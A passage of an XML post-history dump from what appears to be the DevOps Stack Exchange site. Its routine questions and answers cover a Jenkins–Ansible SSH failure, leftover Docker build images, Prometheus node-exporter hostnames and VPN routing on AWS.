  <row Id="16643" PostHistoryTypeId="5" PostId="5248" RevisionGUID="92be50d0-02c3-4fa4-994e-b490a9dbcfd5" CreationDate="2018-10-24T10:49:03.450" UserId="7345" Comment="added 3 characters in body" Text="We  developed declarative pipeline code to execute ansible playbook.&#xD;&#xA;We tested the playbook from CLI and it is working properly.&#xD;&#xA;Wheat my playbook actually do is it will perform some shell commands on remote server.&#xD;&#xA;&#xD;&#xA;SSH configuration between twoo servers done.&#xD;&#xA;Genereatds ssh key copie it to the remote server and able to png the server.&#xD;&#xA;&#xD;&#xA;Error msg:&#xD;&#xA;&#xD;&#xA;    ansible-playbook /var/lib/jenkins/workspace/test1/playbook2.yml -i &#xD;&#xA;    /var/lib/jenkins/workspace/test1/inventory.ini -b --become-user root&#xD;&#xA;    [WARNING] Ansible is in a world writable directory &#xD;&#xA;    (/var/lib/jenkins/workspace/test1), ignoring it as an ansible.cfg source&#xD;&#xA;&#xD;&#xA;    fatal: [17.14.69.21]: UNREACHABLE! =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;Failed to &#xD;&#xA;    connect to the host via ssh: Permission denied (publickey,gssapi- &#xD;&#xA;    keyex,gssapi-with-mic,password).\r\n&quot;, &quot;unreachable&quot;: true}&#xD;&#xA;    [17.14.69.21]: &#xD;&#xA;    FATAL: command execution failed&#xD;&#xA;    hudson.AbortException: Ansible playbook execution failed.&#xD;&#xA;&#xD;&#xA;--&gt;I have given sudo access to jenkins user.&#xD;&#xA;--&gt; jenkins is running as jenkins user&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Let me know any more information you required.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16645" PostHistoryTypeId="5" PostId="468" RevisionGUID="ce5119f9-fa13-48cf-b6d2-b916dd189d55" CreationDate="2018-10-24T11:57:21.690" UserId="655" Comment="added 182 characters in body" Text="Good developers should fit rule 11 of the [Joel Test][1]:&#xD;&#xA;&#xD;&#xA;&gt;  Do new candidates write code during their interview?&#xD;&#xA;&#xD;&#xA; However, I know little to nothing about Docker containers, how to configure Jenkins or AWS, etc. What would be a good way to test if the person who applies can manage such tasks?&#xD;&#xA;&#xD;&#xA;Sub-questions: I believe that a good devops employee can configure the build chain once and it should work from then on out. Can I then also expect him or her to be a developer in the company (DEVops)? As DevOps is a relatively &quot;new&quot; job, is it maybe better for small companies to share a devops employee or hire him or her as a freelancer whenever you need him or her?&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;My confusion about the term originates from job offers like this, even [here on stackexchange][3] (= link where above screenprint was taken from).&#xD;&#xA;&#xD;&#xA;I found this helpful, but possible opinionated article you might want to read if you stumble on this question: https://hackernoon.com/devoops-some-common-anti-patterns-1850ac2f5074&#xD;&#xA;&#xD;&#xA;  [1]: https://www.joelonsoftware.com/2000/08/09/the-joel-test-12-steps-to-better-code/&#xD;&#xA;  [2]: https://i.stack.imgur.com/omE6J.png&#xD;&#xA;  [3]: https://stackoverflow.com/jobs/135988/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16646" PostHistoryTypeId="50" PostId="3089" RevisionGUID="87452cd2-7be2-4d9b-9902-f3f45d52c1ec" CreationDate="2018-10-24T12:01:03.857" UserId="-1" />
  <row Id="16647" PostHistoryTypeId="2" PostId="5249" RevisionGUID="da8955db-5dce-463b-9c43-efe401d81b6d" CreationDate="2018-10-24T12:19:00.360" UserId="9632" Text="The most important aspect you must consider when dealing with environment variables is **security**. So, no matter what, you don't want to expose the environment variables to the public by putting them out to, for example, github.&#xA;&#xA;Coming to your question, here is how you would use;&#xA;&#xA;***Docker***:&#xA;Make the docker take the values from the shell. So, in this case, you would need to use Jenkins to store your environment variables which will then be picked up by docker.&#xA;&#xA;***Kubernetes***:&#xA;Kubernetes provides an object known `Secrets`, so by using this object, you can store environment variables and then have them accessed via `Deployment` k8s object. https://kubernetes.io/docs/concepts/configuration/secret/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16648" PostHistoryTypeId="50" PostId="4811" RevisionGUID="ed4b0af9-274e-478a-9306-6406b4fa5f34" CreationDate="2018-10-24T13:00:36.923" UserId="-1" />
  <row Id="16649" PostHistoryTypeId="5" PostId="5248" RevisionGUID="7fba7b01-e00e-43ae-8540-046295473f7d" CreationDate="2018-10-24T15:39:29.353" UserId="354" Comment="fixed grammar" Text="We  have developed declarative pipeline code to execute an Ansible playbook.&#xD;&#xA;We tested the playbook from CLI and it is working properly.&#xD;&#xA;What my playbook actually does is it will perform some shell commands on remote server.&#xD;&#xA;&#xD;&#xA;SSH configuration between two servers has been done: I have&#xD;&#xA;genereatd an ssh key and copied it to the remote server, and I am able to ping the server.&#xD;&#xA;&#xD;&#xA;The Error msg:&#xD;&#xA;&#xD;&#xA;    ansible-playbook /var/lib/jenkins/workspace/test1/playbook2.yml -i &#xD;&#xA;    /var/lib/jenkins/workspace/test1/inventory.ini -b --become-user root&#xD;&#xA;    [WARNING] Ansible is in a world writable directory &#xD;&#xA;    (/var/lib/jenkins/workspace/test1), ignoring it as an ansible.cfg source&#xD;&#xA;&#xD;&#xA;    fatal: [17.14.69.21]: UNREACHABLE! =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;Failed to &#xD;&#xA;    connect to the host via ssh: Permission denied (publickey,gssapi- &#xD;&#xA;    keyex,gssapi-with-mic,password).\r\n&quot;, &quot;unreachable&quot;: true}&#xD;&#xA;    [17.14.69.21]: &#xD;&#xA;    FATAL: command execution failed&#xD;&#xA;    hudson.AbortException: Ansible playbook execution failed.&#xD;&#xA;&#xD;&#xA;--&gt;I have given sudo access to jenkins user.&#xD;&#xA;--&gt; jenkins is running as jenkins user&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Let me know any more information you required.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16650" PostHistoryTypeId="24" PostId="5248" RevisionGUID="7fba7b01-e00e-43ae-8540-046295473f7d" CreationDate="2018-10-24T15:39:29.353" Comment="Proposed by 354 approved by -1 edit id of 825" ContentLicense="CC BY-SA 4.0" />
  <row Id="16651" PostHistoryTypeId="5" PostId="5248" RevisionGUID="2d76d245-f88f-420b-8b5c-87602e0436ee" CreationDate="2018-10-24T15:39:29.353" UserId="40" Comment="deleted 89 characters in body" Text="We  developed declarative pipeline code to execute an Ansible playbook.&#xD;&#xA;We tested the playbook from CLI and it is working properly.&#xD;&#xA;My playbook actually performs some shell commands on remote server.&#xD;&#xA;&#xD;&#xA;SSH configuration between two servers has been done: I have&#xD;&#xA;generated an ssh key and copied it to the remote server, and I am able to ping the server.&#xD;&#xA;&#xD;&#xA;The Error msg:&#xD;&#xA;&#xD;&#xA;    ansible-playbook /var/lib/jenkins/workspace/test1/playbook2.yml -i &#xD;&#xA;    /var/lib/jenkins/workspace/test1/inventory.ini -b --become-user root&#xD;&#xA;    [WARNING] Ansible is in a world writable directory &#xD;&#xA;    (/var/lib/jenkins/workspace/test1), ignoring it as an ansible.cfg source&#xD;&#xA;&#xD;&#xA;    fatal: [17.14.69.21]: UNREACHABLE! =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;Failed to &#xD;&#xA;    connect to the host via ssh: Permission denied (publickey,gssapi- &#xD;&#xA;    keyex,gssapi-with-mic,password).\r\n&quot;, &quot;unreachable&quot;: true}&#xD;&#xA;    [17.14.69.21]: &#xD;&#xA;    FATAL: command execution failed&#xD;&#xA;    hudson.AbortException: Ansible playbook execution failed.&#xD;&#xA;&#xD;&#xA;I have given sudo access to Jenkins user and Jenkins is running as Jenkins user." ContentLicense="CC BY-SA 4.0" />
  <row Id="16655" PostHistoryTypeId="50" PostId="1931" RevisionGUID="0c0098f7-9382-449b-b09a-c1afa6f18f66" CreationDate="2018-10-24T20:00:02.053" UserId="-1" />
  <row Id="16656" PostHistoryTypeId="2" PostId="5251" RevisionGUID="03c81952-90d3-4692-8e7e-8b4ac53d50f2" CreationDate="2018-10-24T21:23:39.927" UserId="10503" Text="I am quite new on docker and tried to build a postgres database image with preset database scheme created on. Thus created below dockerfile&#xD;&#xA;&#xD;&#xA;    #alpine linux version of the postgres image. uses a really small amount of disk&#xD;&#xA;    FROM postgres:alpine&#xD;&#xA;&#xD;&#xA;    #environment database name that postgres will get to create during the startup&#xD;&#xA;    ENV POSTGRES_DB=test&#xD;&#xA;&#xD;&#xA;    #Superuser name that will be created during the container creation&#xD;&#xA;    ENV POSTGRES_USER=test&#xD;&#xA;  &#xD;&#xA;    #superuser password to be used to connect to the postgres instance&#xD;&#xA;    ENV POSTGRES_PASSWORD=test&#xD;&#xA;&#xD;&#xA;    #sql file to be run while container getting created&#xD;&#xA;    COPY auto-create-scheme.sql /docker-entrypoint-initdb.d/&#xD;&#xA;&#xD;&#xA;but once the modified image created. I got below output;&#xD;&#xA;&#xD;&#xA;    docker build --no-cache -t test .&#xD;&#xA;      Sending build context to Docker daemon  28.67kB&#xD;&#xA;      Step 1/5 : FROM postgres:alpine&#xD;&#xA;       ---&gt; 47510d0ec468&#xD;&#xA;      Step 2/5 : ENV POSTGRES_DB=test&#xD;&#xA;       ---&gt; Running in 7d0246b1cb20&#xD;&#xA;      Removing intermediate container 7d0246b1cb20&#xD;&#xA;       ---&gt; 8be2b9662e86&#xD;&#xA;      Step 3/5 : ENV POSTGRES_USER=test&#xD;&#xA;       ---&gt; Running in 51982d642f99&#xD;&#xA;      Removing intermediate container 51982d642f99&#xD;&#xA;       ---&gt; 954931dc66a8&#xD;&#xA;      Step 4/5 : ENV POSTGRES_PASSWORD=test&#xD;&#xA;       ---&gt; Running in a0ce506ccf78&#xD;&#xA;      Removing intermediate container a0ce506ccf78&#xD;&#xA;       ---&gt; c97298682dac&#xD;&#xA;      Step 5/5 : COPY create-scheme.sql /docker-entrypoint-initdb.d/&#xD;&#xA;       ---&gt; 95df9ff93fcd&#xD;&#xA;      Successfully built 95df9ff93fcd&#xD;&#xA;      Successfully tagged test:latest&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;following this; if I run docker images -a&#xD;&#xA;&#xD;&#xA;I can see those image layers as repo and tag values none.&#xD;&#xA;&#xD;&#xA;How can I create my build file to be able ***discard*** these image layers have only the final image ***test***.&#xD;&#xA;&#xD;&#xA;    &lt;none&gt;                           &lt;none&gt;              c97298682dac        5 minutes ago       71.6MB&#xD;&#xA;    &lt;none&gt;                           &lt;none&gt;              8be2b9662e86        5 minutes ago       71.6MB&#xD;&#xA;    &lt;none&gt;                           &lt;none&gt;              954931dc66a8        5 minutes ago       71.6MB&#xD;&#xA;    test                             latest              95df9ff93fcd        5 minutes ago       71.7MB" ContentLicense="CC BY-SA 4.0" />
  <row Id="16657" PostHistoryTypeId="1" PostId="5251" RevisionGUID="03c81952-90d3-4692-8e7e-8b4ac53d50f2" CreationDate="2018-10-24T21:23:39.927" UserId="10503" Text="Extra none:none images after docker build" ContentLicense="CC BY-SA 4.0" />
  <row Id="16658" PostHistoryTypeId="3" PostId="5251" RevisionGUID="03c81952-90d3-4692-8e7e-8b4ac53d50f2" CreationDate="2018-10-24T21:23:39.927" UserId="10503" Text="&lt;dockerfile&gt;&lt;images&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16659" PostHistoryTypeId="2" PostId="5252" RevisionGUID="b2b195fe-6008-4b8a-808b-af93b8cea761" CreationDate="2018-10-25T01:18:50.617" UserId="10445" Text="You can use the parameter `--rm=true` in the `docker build` command. Once the build has been successfully completed, the untagged images will not appear in your host. However, if the build was unsuccessful, they will remain for debugging purposes.&#xD;&#xA;&#xD;&#xA;A minor consideration though is that keeping these intermediate images may allow you to build new images faster because not everything would have to be created from scratch." ContentLicense="CC BY-SA 4.0" />
  <row Id="16660" PostHistoryTypeId="2" PostId="5253" RevisionGUID="40bc7f3c-c257-4d8f-a159-f3066d1556fc" CreationDate="2018-10-25T01:59:38.453" UserId="7730" Text="Those images are the docker build cache. You need this to be able to quickly rebuild similar images, and to avoid rebuilding unchanged layers which would result in resending those to remote registry servers and forcing servers to download those unchanged layers again. One important point on these layers:&#xD;&#xA;&#xD;&#xA;# They do not consume any significant disk space&#xD;&#xA;&#xD;&#xA;You can view the layers of an image by running the `docker image history` command on an image. Here's an example of a rather large image built on my machine:&#xD;&#xA;&#xD;&#xA;    $ docker image history 25f90c8ba1ca&#xD;&#xA;    IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT&#xD;&#xA;    25f90c8ba1ca        11 days ago         /bin/sh -c #(nop)  CMD [&quot;/bin/sh&quot; &quot;-c&quot; &quot;echo…   0B&#xD;&#xA;    8a190467427e        11 days ago         /bin/sh -c #(nop) COPY dir:36bb9e67a0f2844c2…   298MB&#xD;&#xA;    1f6f5474071d        11 days ago         /bin/sh -c #(nop) COPY dir:7c364877951bb2312…   249MB&#xD;&#xA;    007510a95d17        11 days ago         /bin/sh -c #(nop) COPY dir:9817b6e3d212385d0…   231MB&#xD;&#xA;    ee23b7a42488        11 days ago         /bin/sh -c #(nop) COPY dir:57e817f3d9d977f66…   277MB&#xD;&#xA;    e190d1bb3f66        11 days ago         /bin/sh -c #(nop) COPY dir:9ba997e629e74ca64…   205MB&#xD;&#xA;    abe0ec5c0ef9        11 days ago         /bin/sh -c #(nop) COPY dir:4dbbd5b2010590e28…   213MB&#xD;&#xA;    544af937d8a3        11 days ago         /bin/sh -c #(nop) COPY dir:0ac40edba2c7e1317…   178MB&#xD;&#xA;    b78085aba431        11 days ago         /bin/sh -c #(nop) COPY dir:2137a075c552d6783…   135MB&#xD;&#xA;    3ff8488b067b        11 days ago         /bin/sh -c #(nop) COPY dir:45da2005488e81e9c…   112MB&#xD;&#xA;    19b7cdd9d682        11 days ago         /bin/sh -c #(nop) COPY dir:2b745a4311740ddf7…   65.5MB&#xD;&#xA;    eb2cf84859fb        11 days ago         /bin/sh -c #(nop) COPY dir:cd7b639f2eee0e9da…   50.1MB&#xD;&#xA;    1ba1c21bb0a3        11 days ago         /bin/sh -c #(nop) COPY dir:594739607d1f2d593…   51.9MB&#xD;&#xA;    1da5d6bf03e9        11 days ago         /bin/sh -c #(nop) COPY dir:757daf68a395cfaae…   30MB&#xD;&#xA;    f6df8b695822        11 days ago         /bin/sh -c #(nop) COPY dir:449b6c2ff93606741…   18.5MB&#xD;&#xA;    72895d213dac        11 days ago         /bin/sh -c #(nop) COPY dir:2290eb8d11f15dbe6…   13.8MB&#xD;&#xA;    3b6ceadce77b        11 days ago         /bin/sh -c #(nop) COPY file:fcd71a6bfc87e9dd…   167B&#xD;&#xA;    52dd0e701be3        11 days ago         /bin/sh -c #(nop)  ENV TARGET=/usr/share/ngi…   0B&#xD;&#xA;    aae476eee77d        3 weeks ago         /bin/sh -c #(nop)  CMD [&quot;nginx&quot; &quot;-g&quot; &quot;daemon…   0B&#xD;&#xA;    &lt;missing&gt;           3 weeks ago         /bin/sh -c #(nop)  STOPSIGNAL [SIGTERM]         0B&#xD;&#xA;    &lt;missing&gt;           3 weeks ago         /bin/sh -c #(nop)  EXPOSE 80/tcp                0B&#xD;&#xA;    &lt;missing&gt;           3 weeks ago         /bin/sh -c #(nop) COPY file:1d1ac3b9a14c94a7…   1.09kB&#xD;&#xA;    &lt;missing&gt;           3 weeks ago         /bin/sh -c #(nop) COPY file:af94db45bb7e4b8f…   643B&#xD;&#xA;    &lt;missing&gt;           3 weeks ago         /bin/sh -c GPG_KEYS=B0F4253373F8F6F510D42178…   13.3MB&#xD;&#xA;    &lt;missing&gt;           3 weeks ago         /bin/sh -c #(nop)  ENV NGINX_VERSION=1.15.5     0B&#xD;&#xA;    &lt;missing&gt;           4 weeks ago         /bin/sh -c #(nop)  LABEL maintainer=NGINX Do…   0B&#xD;&#xA;    &lt;missing&gt;           6 weeks ago         /bin/sh -c #(nop)  CMD [&quot;/bin/sh&quot;]              0B&#xD;&#xA;    &lt;missing&gt;           6 weeks ago         /bin/sh -c #(nop) ADD file:25c10b1d1b41d46a1…   4.41MB&#xD;&#xA;    &#xD;&#xA;    $ docker image inspect --format '{{json .RootFS.Layers}}' 25f90c8ba1ca | jq&#xD;&#xA;    .&#xD;&#xA;    [&#xD;&#xA;      &quot;sha256:df64d3292fd6194b7865d7326af5255db6d81e9df29f48adde61a918fbd8c332&quot;,&#xD;&#xA;      &quot;sha256:39e8483b9882aa8e95fb00c14e1c5dbdf32e836af4aff4bf862608e0a35bc914&quot;,&#xD;&#xA;      &quot;sha256:431a5c7929dd5848b9734d84d5cc5be237dd84e9e5ab1cb84ad6975bdc171c0c&quot;,&#xD;&#xA;      &quot;sha256:a83dbde6ba05e8112bd2732375ffbd350d9872d9c9e7e088ba5127118cd6d99e&quot;,&#xD;&#xA;      &quot;sha256:65ec7af97662fd3f933dc8b0aefb9f2d9d25c0d78530142bcdab1323c6aee223&quot;,&#xD;&#xA;      &quot;sha256:25212046c4c3a7589e45b426085da35d7e5e5a7a834180977a43df533672c360&quot;,&#xD;&#xA;      &quot;sha256:508c1d799f8da8accdd8b4e92964c73d6f9b8c4e7381fd0e1241e894d01418d3&quot;,&#xD;&#xA;      &quot;sha256:a197e87da4cd4587c8965d81878fbb1d898c8ba7d2a05ff0e9862eb700d26053&quot;,&#xD;&#xA;      &quot;sha256:f66588501183b7000c7683808ec4653bb83dc3c07f77d67fc34c78e9d9e5cb33&quot;,&#xD;&#xA;      &quot;sha256:de2288e4aa944daa6059184813c549d994f5c2407bfae61c7f8b4e0f950e73b1&quot;,&#xD;&#xA;      &quot;sha256:77ae40a90a8d41d53751ee800d4008d7a3706ecae6364560b4606ba0167c2674&quot;,&#xD;&#xA;      &quot;sha256:1a4bae64e86919b1f40e61a6022e8f910748566b88c2628893c4e424a60c74a2&quot;,&#xD;&#xA;      &quot;sha256:ca61f354107fc14de3c01f5bb192ff8b673b6f84c7089a23d754b23a65751310&quot;,&#xD;&#xA;      &quot;sha256:d0da652f2c59d6fb6380c0b6940aaa9f5e5a4fc28ae0b82f1acb5ccf9a1884e1&quot;,&#xD;&#xA;      &quot;sha256:5f3a91149be048f4f0a4d2450eab6ff8e630bb416b5c508633014e645f57df06&quot;,&#xD;&#xA;      &quot;sha256:0c0762559bcfec46462749615ee06b0998e61673e8118cd1a43e20b38e27825a&quot;,&#xD;&#xA;      &quot;sha256:581ad1603f59463febb540052046bbdec82bdfc7c75fd4a94578bdca88b91fec&quot;,&#xD;&#xA;      &quot;sha256:ff599edf8583ba1dfd7d9c79c1b718f94641e1fb644a0be29ca5b45dcc1768b4&quot;,&#xD;&#xA;      &quot;sha256:6ce4a45f89645a2020cfdae51c83470d9f24424ea16f4bddaf1244aa08f2945e&quot;,&#xD;&#xA;      &quot;sha256:5fcfba1ba609a8fbfc3eccbc805eb18a78041897ec3f6dc168c9ed871baed950&quot;&#xD;&#xA;    ]&#xD;&#xA;    &#xD;&#xA;    $ docker image inspect --format '{{json .RootFS.Layers}}' 8a190467427e | jq .&#xD;&#xA;    [&#xD;&#xA;      &quot;sha256:df64d3292fd6194b7865d7326af5255db6d81e9df29f48adde61a918fbd8c332&quot;,&#xD;&#xA;      &quot;sha256:39e8483b9882aa8e95fb00c14e1c5dbdf32e836af4aff4bf862608e0a35bc914&quot;,&#xD;&#xA;      &quot;sha256:431a5c7929dd5848b9734d84d5cc5be237dd84e9e5ab1cb84ad6975bdc171c0c&quot;,&#xD;&#xA;      &quot;sha256:a83dbde6ba05e8112bd2732375ffbd350d9872d9c9e7e088ba5127118cd6d99e&quot;,&#xD;&#xA;      &quot;sha256:65ec7af97662fd3f933dc8b0aefb9f2d9d25c0d78530142bcdab1323c6aee223&quot;,&#xD;&#xA;      &quot;sha256:25212046c4c3a7589e45b426085da35d7e5e5a7a834180977a43df533672c360&quot;,&#xD;&#xA;      &quot;sha256:508c1d799f8da8accdd8b4e92964c73d6f9b8c4e7381fd0e1241e894d01418d3&quot;,&#xD;&#xA;      &quot;sha256:a197e87da4cd4587c8965d81878fbb1d898c8ba7d2a05ff0e9862eb700d26053&quot;,&#xD;&#xA;      &quot;sha256:f66588501183b7000c7683808ec4653bb83dc3c07f77d67fc34c78e9d9e5cb33&quot;,&#xD;&#xA;      &quot;sha256:de2288e4aa944daa6059184813c549d994f5c2407bfae61c7f8b4e0f950e73b1&quot;,&#xD;&#xA;      &quot;sha256:77ae40a90a8d41d53751ee800d4008d7a3706ecae6364560b4606ba0167c2674&quot;,&#xD;&#xA;      &quot;sha256:1a4bae64e86919b1f40e61a6022e8f910748566b88c2628893c4e424a60c74a2&quot;,&#xD;&#xA;      &quot;sha256:ca61f354107fc14de3c01f5bb192ff8b673b6f84c7089a23d754b23a65751310&quot;,&#xD;&#xA;      &quot;sha256:d0da652f2c59d6fb6380c0b6940aaa9f5e5a4fc28ae0b82f1acb5ccf9a1884e1&quot;,&#xD;&#xA;      &quot;sha256:5f3a91149be048f4f0a4d2450eab6ff8e630bb416b5c508633014e645f57df06&quot;,&#xD;&#xA;      &quot;sha256:0c0762559bcfec46462749615ee06b0998e61673e8118cd1a43e20b38e27825a&quot;,&#xD;&#xA;      &quot;sha256:581ad1603f59463febb540052046bbdec82bdfc7c75fd4a94578bdca88b91fec&quot;,&#xD;&#xA;      &quot;sha256:ff599edf8583ba1dfd7d9c79c1b718f94641e1fb644a0be29ca5b45dcc1768b4&quot;,&#xD;&#xA;      &quot;sha256:6ce4a45f89645a2020cfdae51c83470d9f24424ea16f4bddaf1244aa08f2945e&quot;,&#xD;&#xA;      &quot;sha256:5fcfba1ba609a8fbfc3eccbc805eb18a78041897ec3f6dc168c9ed871baed950&quot;&#xD;&#xA;    ]&#xD;&#xA;    &#xD;&#xA;    $ docker image inspect --format '{{json .RootFS.Layers}}' 1f6f5474071d | jq .&#xD;&#xA;    [&#xD;&#xA;      &quot;sha256:df64d3292fd6194b7865d7326af5255db6d81e9df29f48adde61a918fbd8c332&quot;,&#xD;&#xA;      &quot;sha256:39e8483b9882aa8e95fb00c14e1c5dbdf32e836af4aff4bf862608e0a35bc914&quot;,&#xD;&#xA;      &quot;sha256:431a5c7929dd5848b9734d84d5cc5be237dd84e9e5ab1cb84ad6975bdc171c0c&quot;,&#xD;&#xA;      &quot;sha256:a83dbde6ba05e8112bd2732375ffbd350d9872d9c9e7e088ba5127118cd6d99e&quot;,&#xD;&#xA;      &quot;sha256:65ec7af97662fd3f933dc8b0aefb9f2d9d25c0d78530142bcdab1323c6aee223&quot;,&#xD;&#xA;      &quot;sha256:25212046c4c3a7589e45b426085da35d7e5e5a7a834180977a43df533672c360&quot;,&#xD;&#xA;      &quot;sha256:508c1d799f8da8accdd8b4e92964c73d6f9b8c4e7381fd0e1241e894d01418d3&quot;,&#xD;&#xA;      &quot;sha256:a197e87da4cd4587c8965d81878fbb1d898c8ba7d2a05ff0e9862eb700d26053&quot;,&#xD;&#xA;      &quot;sha256:f66588501183b7000c7683808ec4653bb83dc3c07f77d67fc34c78e9d9e5cb33&quot;,&#xD;&#xA;      &quot;sha256:de2288e4aa944daa6059184813c549d994f5c2407bfae61c7f8b4e0f950e73b1&quot;,&#xD;&#xA;      &quot;sha256:77ae40a90a8d41d53751ee800d4008d7a3706ecae6364560b4606ba0167c2674&quot;,&#xD;&#xA;      &quot;sha256:1a4bae64e86919b1f40e61a6022e8f910748566b88c2628893c4e424a60c74a2&quot;,&#xD;&#xA;      &quot;sha256:ca61f354107fc14de3c01f5bb192ff8b673b6f84c7089a23d754b23a65751310&quot;,&#xD;&#xA;      &quot;sha256:d0da652f2c59d6fb6380c0b6940aaa9f5e5a4fc28ae0b82f1acb5ccf9a1884e1&quot;,&#xD;&#xA;      &quot;sha256:5f3a91149be048f4f0a4d2450eab6ff8e630bb416b5c508633014e645f57df06&quot;,&#xD;&#xA;      &quot;sha256:0c0762559bcfec46462749615ee06b0998e61673e8118cd1a43e20b38e27825a&quot;,&#xD;&#xA;      &quot;sha256:581ad1603f59463febb540052046bbdec82bdfc7c75fd4a94578bdca88b91fec&quot;,&#xD;&#xA;      &quot;sha256:ff599edf8583ba1dfd7d9c79c1b718f94641e1fb644a0be29ca5b45dcc1768b4&quot;,&#xD;&#xA;      &quot;sha256:6ce4a45f89645a2020cfdae51c83470d9f24424ea16f4bddaf1244aa08f2945e&quot;&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;In each of those inspect commands you should see that each new image is just adding on an extra layer until you reach the final image. These layers are the same sha256 checksums, pointing to the same files on the disk. Docker does not copy these files per image, it doesn't even copy them when creating containers (excluding initializing named volumes), the layers are read-only and reused by every descendant image and container via a union filesystem. The disk usage that docker displays is the sum of all of the layers even when other images may share layers, while your actual disk usage is only of the unique layers.&#xD;&#xA;&#xD;&#xA;If you rebuild images often on the server with the same build tag, you can prune dangling images with `docker image prune`. Otherwise, simply avoid displaying these build artifacts by running `docker image ls` without the `-a` option.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16661" PostHistoryTypeId="4" PostId="5248" RevisionGUID="ec2d6fee-82aa-422f-9296-f79b7de312a0" CreationDate="2018-10-25T03:03:32.563" UserId="47" Comment="fix typo" Text="Jenkins-Ansible: executing ansible playbook using jenkins pipeline script" ContentLicense="CC BY-SA 4.0" />
  <row Id="16662" PostHistoryTypeId="4" PostId="5247" RevisionGUID="b6b37bde-4b29-401b-9589-57bc0a7ecd25" CreationDate="2018-10-25T03:05:15.153" UserId="47" Comment="fix typo" Text="Docker compose curl healthcheck on official nginx image not working" ContentLicense="CC BY-SA 4.0" />
  <row Id="16663" PostHistoryTypeId="50" PostId="3317" RevisionGUID="5cfb18a7-5e71-4d5f-bb72-8c6e0b5ef0a5" CreationDate="2018-10-25T07:00:35.010" UserId="-1" />
  <row Id="16664" PostHistoryTypeId="5" PostId="3985" RevisionGUID="9b20d0e5-9c6c-45fb-b791-3c8bc96bb3ff" CreationDate="2018-10-25T07:43:34.263" UserId="13" Comment="added 22 characters in body" Text="@PrestonM indicated that:&#xD;&#xA;&#xD;&#xA;&gt; Whenever I see an &quot;unexpected at this time&quot; error it's in my batch&#xD;&#xA;&gt; scripts, and it's either because I didn't use the correct escape&#xD;&#xA;&gt; character, or an absolute path is incorrect. I don't see Anaconda&#xD;&#xA;&gt; anywhere in your PATH, but I do see Xtralien. Is it possible that you&#xD;&#xA;&gt; need to add Anaconda?&#xD;&#xA;&gt; &#xD;&#xA;&#xD;&#xA;OP feedback was:&#xD;&#xA;&#xD;&#xA;&gt; Not changing the default directory and adding it my path variable&#xD;&#xA;&gt; during the installation seems to have done the trick. Thanks a bunch&#xD;&#xA;&gt; for the advice!" ContentLicense="CC BY-SA 4.0" />
  <row Id="16667" PostHistoryTypeId="50" PostId="4161" RevisionGUID="314d30eb-2602-46b0-a4c4-3b2d1634b572" CreationDate="2018-10-25T11:00:09.287" UserId="-1" />
  <row Id="16668" PostHistoryTypeId="2" PostId="5254" RevisionGUID="286bd65c-34f8-4442-96f3-7eb62f61af57" CreationDate="2018-10-25T12:38:07.870" UserId="8621" Text="I have setup my monitoring with the _cadvisor, node-exporter, prometheus, grafana_ stack in my clustered environment using docker swarm.&#xD;&#xA;&#xD;&#xA;What is the easiest way to get my actual hostnames picked up by node-exporter, so I can configure my dashboards to filter by node names in grafana?&#xD;&#xA;&#xD;&#xA;For my kubernetes environments this works ootb, because all metrics are extended by the `kubernetes_io_hostname`, that contains the actual hostname.&#xD;&#xA;&#xD;&#xA;The only solution to this I found, so far, was to introduce my own metric, that creates the combination between node ids and node names (like done by https://github.com/bvis/docker-node-exporter). But I really like to use the vanilla image (for update reasons, for example) and also mounting some file with the configuration on all machines seems to be too much effort to do this.&#xD;&#xA;&#xD;&#xA;So does anyone know: Is there an easy way to get the `hostname` of the node into my node-exporter metrics? Maybe by just mounting the hosts `/etc/hostname` file to a specific place in the node-exporter container, or something like that?&#xD;&#xA;&#xD;&#xA;Thanks in advance!&#xD;&#xA;&#xD;&#xA;Best regards,&#xD;&#xA;razr" ContentLicense="CC BY-SA 4.0" />
  <row Id="16669" PostHistoryTypeId="1" PostId="5254" RevisionGUID="286bd65c-34f8-4442-96f3-7eb62f61af57" CreationDate="2018-10-25T12:38:07.870" UserId="8621" Text="Hostname from nodeexporter in Docker Swarm" ContentLicense="CC BY-SA 4.0" />
  <row Id="16670" PostHistoryTypeId="3" PostId="5254" RevisionGUID="286bd65c-34f8-4442-96f3-7eb62f61af57" CreationDate="2018-10-25T12:38:07.870" UserId="8621" Text="&lt;docker-swarm&gt;&lt;prometheus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16671" PostHistoryTypeId="2" PostId="5255" RevisionGUID="f46bdfa6-1ec7-4db6-9446-34dc015d6387" CreationDate="2018-10-25T14:54:32.760" UserId="10517" Text="I am setting up a VPN Server to move all resources behind VPN on AWS, which includes moving multiple VPCs.&#xD;&#xA;&#xD;&#xA;The simple setup is:&#xD;&#xA;&#xD;&#xA;I have a separate VPC (`VPC1`) running VPN Server and another VPC (`VPC2`) with an EC2 machine.&#xD;&#xA;&#xD;&#xA;Let's assume the following CIDRs for VPCs &amp; VPN.&#xD;&#xA;&#xD;&#xA;* VPC1: 10.1.0.0/16&#xD;&#xA;* VPC2: 10.2.0.0/16&#xD;&#xA;* VPN: 10.8.0.0/24&#xD;&#xA;&#xD;&#xA;Everything is working fine within VPC1.&#xD;&#xA;&#xD;&#xA;Now I have enabled VPC Peering between  `VPC1` &amp; `VPC2`, but I am not able to access EC2 machine running in `VPC2` unless I mask the VPN CIDR as following.&#xD;&#xA;&#xD;&#xA;    iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE&#xD;&#xA;&#xD;&#xA;But doing so, I lose the 